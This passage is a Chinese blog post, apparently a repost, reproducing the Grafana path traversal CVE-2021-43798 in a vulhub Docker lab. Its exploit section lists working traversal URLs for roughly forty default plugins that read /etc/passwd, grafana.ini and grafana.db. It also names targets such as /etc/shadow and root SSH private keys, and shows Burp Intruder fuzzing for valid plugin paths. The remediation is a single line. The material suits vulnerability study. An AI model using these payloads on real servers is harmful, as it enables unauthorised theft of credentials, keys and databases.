当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] Grafana任意文件读取漏洞CVE-2021-43798

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、漏洞描述
  • 三、影响范围
  • 四、环境搭建
    • 1、进入 CVE-2021-43798环境
    • 2、启动 CVE-2021-43798环境
    • 3、查看 CVE-2021-43798环境
    • 4、访问 CVE-2021-43798环境
    • 5、查看 CVE-2021-43798提示信息
    • 6、关闭 CVE-2021-43798环境
  • 五、漏洞复现
    • 1、POC(攻击路径):
    • 2、读取etc/passwd
    • 3、读取Grafana配置文件
    • 4、读取Grafana数据库
    • 5、其他可获取的文件
    • 6、可攻击路径清单
    • 7、Grafana默认安装插件列表
  • 六、Bp爆破模块进行fuzz测试
    • 1、准备字典
    • 2、爆破模块设置
      • 设置爆破点
      • 导入字典
      • 开始爆破
    • 3、爆破成功
      • 查看请求包
      • 查看返回包
  • 七、修复方式

一、漏洞编号

CVE-2021-43798

二、漏洞描述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。Grafana存在任意文件读取漏洞未授权的攻击者利用该漏洞,能够获取服务器敏感文件。

三、影响范围

Grafana 8.0.0 - 8.3.0

四、环境搭建

1、进入 CVE-2021-43798环境

cd CVE-2021-43798

在这里插入图片描述

2、启动 CVE-2021-43798环境

docker-compose up -d

在这里插入图片描述

3、查看 CVE-2021-43798环境

docker-compose ps

在这里插入图片描述

4、访问 CVE-2021-43798环境

http://192.168.13.131:3000/

在这里插入图片描述

5、查看 CVE-2021-43798提示信息

cat README.md 

在这里插入图片描述

6、关闭 CVE-2021-43798环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、POC(攻击路径):

<grafana_host_url>/public/plugins/<“plugin-id”>其中<“plugin-id”>是任何已安装插件的插件ID。

2、读取etc/passwd

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/passwd

在这里插入图片描述

gettingstarted是插件ID,Grafana默认安装的就有。也可以改成别的插件ID

3、读取Grafana配置文件

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/grafana/grafana.ini

在这里插入图片描述

4、读取Grafana数据库

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db

在这里插入图片描述

5、其他可获取的文件

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

6、可攻击路径清单

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

7、Grafana默认安装插件列表

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

六、Bp爆破模块进行fuzz测试

1、准备字典

新建文本文档作为字典
内容为可攻击路径中的插件名称

在这里插入图片描述
在这里插入图片描述

2、爆破模块设置

设置爆破点

把之前我们抓到的包导入爆破模块并设置爆破点

在这里插入图片描述

导入字典

在这里插入图片描述

开始爆破

在这里插入图片描述

3、爆破成功

得到确切存在的攻击路径

查看请求包

查看我们的请求内容

在这里插入图片描述

查看返回包

返回包中就有我们请求的内容,这就是成功了

在这里插入图片描述

七、修复方式

升级至最新版本

相关文章:

  • Windows与网络基础-15-本地安全策略
  • UVM中callback的使用
  • Spring In Action 5 学习笔记 chapter3之JDBCTemplate 与JPA简单比较
  • 【翻译】Adaptive Convolutions for Structure-Aware Style Transfer
  • 一幅长文细学TypeScript(二)——TS的数据类型
  • 【运维心得】如何进行应用日志分析?
  • 金融行业分布式数据库选型及实践经验
  • 某保险企业容器云 PaaS 平台实践经验分享
  • 贝叶斯分类器详解
  • Python和PHP有什么区别
  • 精品基于Uniapp+SSM实现的Android的餐饮管理系统
  • Docker中安装Redis
  • 糖尿病患者怎样养成良好习惯
  • 学习笔记:基于GMM的语音转换
  • Git基本应用<二>:Git的分支管理
  • [ 一起学React系列 -- 8 ] React中的文件上传
  • CoolViewPager:即刻刷新,自定义边缘效果颜色,双向自动循环,内置垂直切换效果,想要的都在这里...
  • ES6核心特性
  • Linux各目录及每个目录的详细介绍
  • python 学习笔记 - Queue Pipes,进程间通讯
  • React16时代,该用什么姿势写 React ?
  • vue 配置sass、scss全局变量
  • Vue.js 移动端适配之 vw 解决方案
  • vue-router的history模式发布配置
  • Vue学习第二天
  • Windows Containers 大冒险: 容器网络
  • 回顾2016
  • 基于HAProxy的高性能缓存服务器nuster
  • 基于阿里云移动推送的移动应用推送模式最佳实践
  • 爬虫模拟登陆 SegmentFault
  • 深入浏览器事件循环的本质
  • 使用 @font-face
  • 王永庆:技术创新改变教育未来
  • 微服务核心架构梳理
  • FaaS 的简单实践
  • k8s使用glusterfs实现动态持久化存储
  • 测评:对于写作的人来说,Markdown是你最好的朋友 ...
  • 东超科技获得千万级Pre-A轮融资,投资方为中科创星 ...
  • 树莓派用上kodexplorer也能玩成私有网盘
  • ​​​​​​​开发面试“八股文”:助力还是阻力?
  • $jQuery 重写Alert样式方法
  • (TipsTricks)用客户端模板精简JavaScript代码
  • (过滤器)Filter和(监听器)listener
  • (汇总)os模块以及shutil模块对文件的操作
  • (亲测有效)解决windows11无法使用1500000波特率的问题
  • (三)SvelteKit教程:layout 文件
  • (十三)Java springcloud B2B2C o2o多用户商城 springcloud架构 - SSO单点登录之OAuth2.0 根据token获取用户信息(4)...
  • (已解决)报错:Could not load the Qt platform plugin “xcb“
  • ./configure、make、make install 命令
  • .apk文件,IIS不支持下载解决
  • .htaccess 强制https 单独排除某个目录
  • .NET 6 在已知拓扑路径的情况下使用 Dijkstra,A*算法搜索最短路径
  • .NET 8.0 发布到 IIS
  • .net core 连接数据库,通过数据库生成Modell
  • .NET 中让 Task 支持带超时的异步等待